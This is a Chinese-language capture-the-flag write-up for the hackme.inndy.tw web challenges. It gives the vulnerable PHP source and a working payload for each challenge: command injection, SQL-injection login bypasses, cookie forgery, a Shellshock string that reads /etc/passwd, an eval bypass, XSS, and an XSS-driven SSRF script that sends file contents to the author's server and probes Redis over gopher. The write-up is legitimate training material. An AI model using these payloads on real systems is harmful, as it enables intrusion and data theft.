之前断断续续的做过 http://hackme.inndy.tw/上面的一些题,题目有些还是很有趣的,记录一下。

ping

<?php
        $blacklist = [
            'flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed',
            'apt', 'yum', 'curl', 'wget', 'perl', 'python', 'zip', 'tar', 'php', 'ruby', 'kill',
            'passwd', 'shadow', 'root',
            'z',
            'dir', 'dd', 'df', 'du', 'free', 'tempfile', 'touch', 'tee', 'sha', 'x64', 'g',
            'xargs', 'PATH',
            '$0', 'proc',
            '/', '&', '|', '>', '<', ';', '"', '\'', '\\', "\n"
        ];
        set_time_limit(2);
        function ping($ip) {
            global $blacklist;
            if(strlen($ip) > 15) {
                return 'IP toooooo longgggggggggg';
            } else {
                foreach($blacklist as $keyword) {
                    if(strstr($ip, $keyword)) {
                        return "{$keyword} not allowed";
                    }
                }
                $ret = [];
                exec("ping -c 1 \"{$ip}\" 2>&1", $ret);
                return implode("\n", array_slice($ret, 0, 10));
            }
        }
        if(!empty($_GET['ip']))
            echo htmlentities(ping($_GET['ip']));
        else
            highlight_file(__FILE__);
    ?>

https://hackme.inndy.tw/ping/?ip=%60ls%60能看到flag.php

直接读

https://hackme.inndy.tw/ping/?ip=`head%20fl*`

login as admin 0

(https://hackme.inndy.tw/login0)

源代码

<?php
require('config.php');
// table schema
// user -> id, user, password, is_admin
if($_GET['show_source'] === '1') {
    highlight_file(__FILE__);
    exit;
}
function safe_filter($str)
{
    $strl = strtolower($str);
    if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
        strstr($strl, 'update') || strstr($strl, 'delete')
    ) {
        return '';
    }
    return str_replace("'", "\\'", $str);
}
$_POST = array_map(safe_filter, $_POST);
$user = null;
// connect to database
if(!empty($_POST['name']) && !empty($_POST['password'])) {
    $connection_string = sprintf('mysql:host=%s;dbname=%s;charset=utf8mb4', DB_HOST, DB_NAME);
    $db = new PDO($connection_string, DB_USER, DB_PASS);
    $sql = sprintf("SELECT * FROM `user` WHERE `user` = '%s' AND `password` = '%s'",
        $_POST['name'],
        $_POST['password']
    );
    try {
        $query = $db->query($sql);
        if($query) {
            $user = $query->fetchObject();
        } else {
            $user = false;
        }
    } catch(Exception $e) {
        $user = false;
    }
}
?>

构造payload

admin\' or 2=2 and is_admin=1#

login as admin 1

(https://hackme.inndy.tw/login1)

payload

admin\\'or(2=2)and(isadmin=1)#

login as admin 3

(https://hackme.inndy.tw/login3)

<?php
require('users_db.php'); // $users
if($_GET['show_source'] === '1') {
    highlight_file(__FILE__);
    exit;
}
if($_GET['logout'] === '1') {
    setcookie('user', '', 0);
    header('Location: ./');
}
function set_user($user_data)
{
    global $user, $secret;
    $user = [$user_data['name'], $user_data['admin']];
    $data = json_encode($user);
    $sig = hash_hmac('sha512', $data, $secret);
    $all = base64_encode(json_encode(['sig' => $sig, 'data' => $data]));
    setcookie('user', $all, time()+3600);
}
$error = null;
function load_user()
{
    global $secret, $error;
    if(empty($_COOKIE['user'])) {
        return null;
    }
    $unserialized = json_decode(base64_decode($_COOKIE['user']), true);
    $r = hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig'];
    if(hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig']) {
        $error = 'Invalid session';
        return false;
    }
    $data = json_decode($unserialized['data'], true);
    return [
        'name' => $data[0],
        'admin' => $data[1]
    ];
}
$user = load_user();
if(!empty($_POST['name']) && !empty($_POST['password'])) {
    $user = false;
    foreach($users as $u) {
        if($u['name'] === $_POST['name'] && $u['password'] === $_POST['password']) {
            set_user($u);
        }
    }
}
?>

这里的考点是

Hackme有趣的web题解_php

构造payload

<?php
$user = ['admin',true];
$data = json_encode($user);
$all = base64_encode(json_encode(['sig' => 0, 'data' => $data]));
echo $all;
?>

login as admin4

Hackme有趣的web题解_json_02

没有exit();

抓包防止跳转拿到flag。

login as admin 6

if(!empty($_POST['data'])) {
    try {
        $data = json_decode($_POST['data'], true);
    } catch (Exception $e) {
        $data = [];
    }
    extract($data);
    if($users[$username] && strcmp($users[$username], $password) == 0) {
        $user = $username;
    }
}
?

可以进行变量覆盖

<?php
$a = ["admin"=>"p0desta"];
$users = ["users"=>$a,"username"=>"admin","password"=>"p0desta"];
echo json_encode($users);
?>

Login as Admin 7

弱类型比较

使用 admins878926199a登录即可。

dafuq-manager 1

修改cookie, show_hidden的value改为 yes

dafuq-manager 2

index.php第70行

case "admin":
        require "./core/fun_admin.php";
        show_admin($GLOBALS["dir"]);

跟进 show_admin()函数,看 func_admin.php第193行

function show_admin($dir) {
    $pwd = (($GLOBALS["permissions"] & 2) == 2);
    $admin = (($GLOBALS["permissions"] & 4) == 4);
    if (!$GLOBALS["require_login"]) show_error($GLOBALS["error_msg"]["miscnofunc"]);
    if (isset($GLOBALS['__GET']["action2"])) $action2 = $GLOBALS['__GET']["action2"];
    elseif (isset($GLOBALS['__POST']["action2"])) $action2 = $GLOBALS['__POST']["action2"];
    else $action2 = "";

全局搜索 $GLOBALS["permissions"],跟进 func_users.php

然后跟进 find_user发现获取都是从 GLOBALS['users']获取的,可以发现定义在 .htusers.php

<?php
$GLOBALS["users"] = array(
    array("guest", "084e0343a0486ff05530df6c705c8bb4", "./data/guest", "https://game1.security.ntu.st/data/guest", 0, "^.ht", 1, 1),
);

到这里之后我思路有点偏差,一开始我以为可以找到写入或者利用上传覆盖掉原来的,但是我没找到利用方式,反过来想想,作为出题方肯定不会让你覆盖,不然其他人没法玩了。。

那么应该会结合文件读取漏洞,使用seay自动审一下

Hackme有趣的web题解_sql_03

先跟进第6条,发现出现在 func_edit.php

function edit_file($dir, $item) {
    if (($GLOBALS["permissions"] & 01) != 01) show_error($GLOBALS["error_msg"]["accessfunc"]);
    if (!get_is_file($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["fileexist"]);
    if (!get_show_item($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);
    $fname = get_abs_item($dir, $item);
    if (!file_in_web($fname)) show_error($GLOBALS["error_msg"]["accessfile"]);
    if (isset($GLOBALS['__POST']["dosave"]) && $GLOBALS['__POST']["dosave"] == "yes") {
        $item = basename(stripslashes($GLOBALS['__POST']["fname"]));
        $fname2 = get_abs_item($dir, $item);
        if (!isset($item) || $item == "") show_error($GLOBALS["error_msg"]["miscnoname"]);
        if ($fname != $fname2 && @file_exists($fname2)) show_error($item . ": " . $GLOBALS["error_msg"]["itemdoesexist"]);
        savefile($dir, $fname2);
        $fname = $fname2;
    }
    $fp = @fopen($fname, "r");

.htusers.php可知我们的 permissions的值为1,第一个if符合,跟进getisfile看一下

func_extra.php第30行

function get_is_file($dir, $item) {
    return @is_file(get_abs_item($dir, $item));
}

继续跟进 get_abs_item

function get_abs_item($dir, $item) {
    return get_abs_dir($dir) . "/" . $item;
}

继续跟进 get_abs_dir

function get_abs_dir($dir) {
    $abs_dir = $GLOBALS["home_dir"];
    if ($dir != "") $abs_dir.= "/" . $dir;
    return $abs_dir;
}

可以知道 home_dir=./data/guest

拼接一下

./data/guest/$dir/$item

继续跟进一下 get_show_file

看一下对目录的waf

if ($item == "." || $item == "..") return false;
if (substr($item, 0, 1) == "." && $GLOBALS["show_hidden"] == false && $_COOKIE['show_hidden'] != 'yes') return false;

它这样写根本不需要刻意去绕,改好cookie直接去读就行

Hackme有趣的web题解_php_04

<?php
$GLOBALS["users"] = array(
    array("adm1n15trat0r", "34af0d074b17f44d1bb939765b02776f", "./data", "https://dafuq-manager.hackme.inndy.tw/data", 1, "^.ht", 7, 1),
    array("inndy", "fc5e038d38a57032085441e7fe7010b0", "./data/inndy", "https://dafuq-manager.hackme.inndy.tw/data/inndy", 0, "^.ht", 1, 1),
    array("guest", "084e0343a0486ff05530df6c705c8bb4", "./data/guest", "https://dafuq-manager.hackme.inndy.tw/data/guest", 0, "^.ht", 1, 1),
);

将md5解密,登录即可拿到flag2

dafuq-manager 2

题目提示GETSHELL,在我们第二关使用seay的时候就发现了eval的地方 func_debug

function do_debug() {
    assert(strlen($GLOBALS['secret_key']) > 40);
    $dir = $GLOBALS['__GET']['dir'];
    if (strcmp($dir, "magically") || strcmp($dir, "hacker") || strcmp($dir, "admin")) {
        show_error('You are not hacky enough :(');
    }
    list($cmd, $hmac) = explode('.', $GLOBALS['__GET']['command'], 2);
    $cmd = base64_decode($cmd);
    $bad_things = array('system', 'exec', 'popen', 'pcntl_exec', 'proc_open', 'passthru', '`', 'eval', 'assert', 'preg_replace', 'create_function', 'include', 'require', 'curl',);
    foreach ($bad_things as $bad) {
        if (stristr($cmd, $bad)) {
            die('2bad');
        }
    }
    if (hash_equals(hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]), $hmac)) {
        die(eval($cmd));
    } else {
        show_error('What does the fox say?');
    }
}

我们可以知道 strcmp可以使用数组绕过,然后构造payload

<?php
$GLOBALS["secret_key"] = 'KHomg4WfVeJNj9q5HFcWr5kc8XzE4PyzB8brEw6pQQyzmIZuRBbwDU7UE6jYjPm3';
function make_command($cmd) {
    $hmac = hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]);
    return sprintf('%s.%s', base64_encode($cmd), $hmac);
}
echo make_command("phpinfo();");

构造payload

<?php
$GLOBALS["secret_key"] = 'KHomg4WfVeJNj9q5HFcWr5kc8XzE4PyzB8brEw6pQQyzmIZuRBbwDU7UE6jYjPm3';
function make_command($cmd) {
    $hmac = hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]);
    return sprintf('%s.%s', base64_encode($cmd), $hmac);
}
echo make_command('$a="syste"."m";$a("ls flag3/");');

发现

Makefile
flag3
meow
meow.c

尝试直接 cat flag3并不行,那么尝试利用 meow flag3

拿到flag。

wordpress 1(https://wp.hackme.inndy.tw/)

在最近文件Backup File中拿到源代码,在源代码

Hackme有趣的web题解_json_05

首先$h其实就是个md5

λ php -r "var_dump('m'.sprintf('%s%d','d',-4+9e0));"
Command line code:1:
string(3) "md5"

解密一下md5发现结果是 cat flag

然后跟进一下 wp_get_user_ip函数,

function wp_get_user_ip() {
    $ip = $_SERVER['REMOTE_ADDR'];
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    return $ip;
}

发现它逻辑有问题,如果请求头中有 Client-ip或者 X-Forwarded-For的话就会覆盖掉一开始 Remote-addr获取到的。

Hackme有趣的web题解_json_06

拿到flag1

command-executor(https://command-executor.hackme.inndy.tw/)

Hackme有趣的web题解_sql_07

从这里我们大概知道我们的目标是利用flag-reader去读flag。

然后利用伪协议把源码读出来

untar.php

<?php
if (isset($_FILES['tarfile'])) {
  printf('<h2>$ tar -tvf %s</h2 > ', htmlentities($_FILES['tarfile ']['name ']));
  echo ' < pre > ';
  execute(sprintf('tar - tvf %s2 > & 1 ', escapeshellarg($_FILES['tarfile ']['tmp_name '])));
  echo ' < /pre>';
}
?>

man.php

<? php
function render() {
  $file = 'man';
  if (isset($_GET['file'])) {
    $file = (string) $_GET['file'];
    if (preg_match('/^[\w\-]+$/', $file) !== 1) {
      echo '<pre>Invalid file name!</pre>';
      return;
    }
  }
  echo '<h1>Online documents</h1>';
  $cmds = ['bash', 'ls', 'cp', 'mv'];
  echo '<ul>';
  foreach($cmds as $cmd) {
    printf('<li><a href="index.php?func=man&file=%s">%1$s</a></li>', $cmd);
  }
  echo '</ul>';
  printf('<h2>$ man %s</h2>', htmlentities($file));
  echo '<pre>';
  execute(sprintf('man %s | cat', escapeshellarg($file)));
  echo '</pre>';
} ?>

cmd.php

<?php
function render() {
  $cmd = '';
  if (isset($_GET['cmd'])) {
    $cmd = (string) $_GET['cmd'];
  }
  echo '<ul>';
  $cmds = ['ls', 'env'];
  foreach($cmds as $c) {
    printf('<li><a href="index.php?func=cmd&cmd=%s">%1$s</a > < /li>', $c);
  }
  echo '</ul > '; ?> 
<?php
  if (strlen($cmd) > 0) {
    printf(' < h2 > $ % s < /h2>', htmlentities($cmd));
    echo '<pre>';
    switch ($cmd) {
    case 'env':
    case 'ls':
    case 'ls -l':
    case 'ls -al':
      execute($cmd);
      break;
    case 'cat flag':
      echo '<img src="cat-flag.png" alt="cat flag">';
      break;
    default:
      printf('%s: command not found', htmlentities($cmd));
    }
    echo '</pre > ';
  }
} ?>

ls.php

<?php
function render() {
  $file = '.';
  if (isset($_GET['file'])) {
    $file = (string) $_GET['file'];
  }
  echo '<h1>Dictionary Traversal</h1>';
  echo '<ul>';
  $dirs = ['.', '..', '../..', '/etc/passwd'];
  foreach($dirs as $dir) {
    printf('<li><a href="index.php?func=ls&file=%s">%1$s</a></li>', $dir);
  }
  echo '</ul>';
  printf('<h2>$ ls %s</h2>', htmlentities($file));
  echo '<pre>';
  execute(sprintf('ls -l %s', escapeshellarg($file)));
  echo '</pre>';
} ?>

index.ph

<?php $pages = [
  ['man', 'Man'],
  ['untar', 'Tar Tester'],
  ['cmd', 'Cmd Exec'],
  ['ls', 'List files'], ];
function fuck($msg) {
  header('Content-Type: text/plain');
  echo $msg;
  exit;
}
$black_list = ['\/flag', '\(\)\s*\{\s*:;\s*\};'];
function waf($a) {
  global $black_list;
  if (is_array($a)) {
    foreach($a as $key = > $val) {
      waf($key);
      waf($val);
    }
  } else {
    foreach($black_list as $b) {
      if (preg_match("/$b/", $a) === 1) {
        fuck("$b detected! exit now.");
      }
    }
  }
}
waf($_SERVER);
waf($_GET);
waf($_POST);
function execute($cmd, $shell = 'bash') {
  system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}
foreach($_SERVER as $key = > $val) {
  if (substr($key, 0, 5) === 'HTTP_') {
    putenv("$key=$val");
  }
}
$page = '';
if (isset($_GET['func'])) {
  $page = $_GET['func'];
  if (strstr($page, '..') !== false) {
    $page = '';
  }
}
if ($page && strlen($page) > 0) {
  try {
    include("$page.php");
  } catch (Exception $e) {}
}
 if(is_callable('render')) render(); else render_default(); ?>

发现使用了putenv来写入环境变量,关于环境变量的攻击可以找到

http://blog.sina.com.cn/s/blog_6b347b2a0102v3nc.html

然后再看一下 waf过滤了 '\(\)\s*\{\s*:;\s*\};'那么应该是没偏差了

这里在网上找到个payload

() { foo;};echo;/bin/cat /etc/passwd

得到

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
flag:x:1337:1337::/home/flag

直接反弹出来shell

Hackme有趣的web题解_json_08

这里我一开始尝试使用一开头说的用flag-reader去读flag,但是并没有输出,把c文件cat出来看看

cat flag-reader.c
#include <unistd.h>
#include <syscall.h>
#include <fcntl.h>
#include <string.h>
int main(int argc, char *argv[])
{
    char buff[4096], rnd[16], val[16];
    if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {
        write(1, "Not enough random\n", 18);
    }
    setuid(1337);
    seteuid(1337);
    alarm(1);
    write(1, &rnd, sizeof(rnd));
    read(0, &val, sizeof(val));
    if(memcmp(rnd, val, sizeof(rnd)) == 0) {
        int fd = open(argv[1], O_RDONLY);
        if(fd > 0) {
            int s = read(fd, buff, 1024);
            if(s > 0) {
                write(1, buff, s);
            }
            close(fd);
        } else {
            write(1, "Can not open file\n", 18);
        }
    } else {
        write(1, "Wrong response\n", 16);
    }
}

这里主要是写入和读入到缓冲区的内容是否相等(ps:C不太好,可能理解有错误),相等则读argv[1]

Hackme有趣的web题解_php_09

XSSME

发现有一些waf,但是很好绕过

<svg/onload='javascript:window.open(xxx)'>

记得实体化编码一下

吐槽一下这题的验证码真难跑

Hackme有趣的web题解_php_10

XSSRF leak

常规套路,打源码出来

url+document.body.innerHTML

打出源码来

nav class = "navbar navbar-expand-lg navbar-dark bg-dark d-flex" > < a class = "navbar-brand"
href = "index.php" > XSSRF < /a> <ul class="navbar-nav"> <li class="nav-item"> <a class="nav-link" href="sendmail.php">Send Mail</a > < /li> <li class="nav-item"> <a class="nav-link" href="mailbox.php">Mailbox</a > < /li> <li class="nav-item"> <a class="nav-link" href="sentmail.php">Sent Mail</a > < /li> <li class="nav-item"> <a class="nav-link" href="setadmin.php">Set Admin</a > < /li> <li class="nav-item"> <a class="nav-link" href="request.php">Send Request</a > < /li> </ul > < ul class = "navbar-nav ml-auto" > < li class = "nav-item" > < span class = "navbar-text" > Hello, admin(Administrator) < /span> </li > < li class = "nav-item" > < a class = "nav-link"
href = "logout.php" > Logout < /a>

有个request.php是我们页面没有的,打一下源码,既然这里都没有CSP,那么我们动态创建个 script标签然后将外部的js加载进来。

这里加载外部js的好处是自己调试的时候不用重复提交了。

打到源码

<form action="/request.php " method="POST ">
          <textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10"></textarea>
</form>

参数是url,应该是提交连接,尝试可不可以直接利用 file://来读文件

直接提交相同的payload,我们只修改自己服务器上的js文件即可

var x = new XMLHttpRequest();
x.open("POST", "request.php", true);
x.setRequestHeader("Content-type","application/x-www-form-urlencoded");
x.onreadystatechange = function() {
  if (x.readyState == XMLHttpRequest.DONE) {
    text = x.responseText;
    location.href = "https://xss.p0desta.com/?token=" + btoa(encodeURIComponent(text));
  }
};
x.send("url=file:///etc/passwd");

可以打回回显,通过扫目录可以知道robots.txt存在,打会config.php的源码来拿到flag

file:///var/www/html/config.php

xssrf redis(https://xssrf.hackme.inndy.tw/)

由上一关可以知道这关的redis开在25566端口,那么只是修改url参数,利用gopher协议去打就ok

gopher的文章 https://blog.chaitin.cn/gopher-attack-surfaces/#h2.2_%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91-redis

本来想直接反弹出shell来着,但是貌似有长度限制。

这里贴出 http://doc.redisfans.com/命令文档,可以使用单独命令取出

可以参考文章 https://www.jianshu.com/p/e97e114db751

var x = new XMLHttpRequest();
x.open("POST", "request.php", true);
x.setRequestHeader("Content-type","application/x-www-form-urlencoded");
x.onreadystatechange = function() {
  if (x.readyState == XMLHttpRequest.DONE) {
    text = x.responseText;
    location.href = "https:/xxx/?token=" + btoa(encodeURIComponent(text));
  }
};
x.send("url=gopher://127.0.0.1:25566/_KEYS%2520*%250a_quit");

找到flag,利用,只不过是个list类型,利用上面我给出的文档使用相应的命令读出即可。

讲真,题是好题,就是验证码实在太恶心。

总结

有趣的题目总能学到有趣的姿势。

Hackme有趣的web题解_php_11


Hackme有趣的web题解_php_12


Hackme有趣的web题解_php_13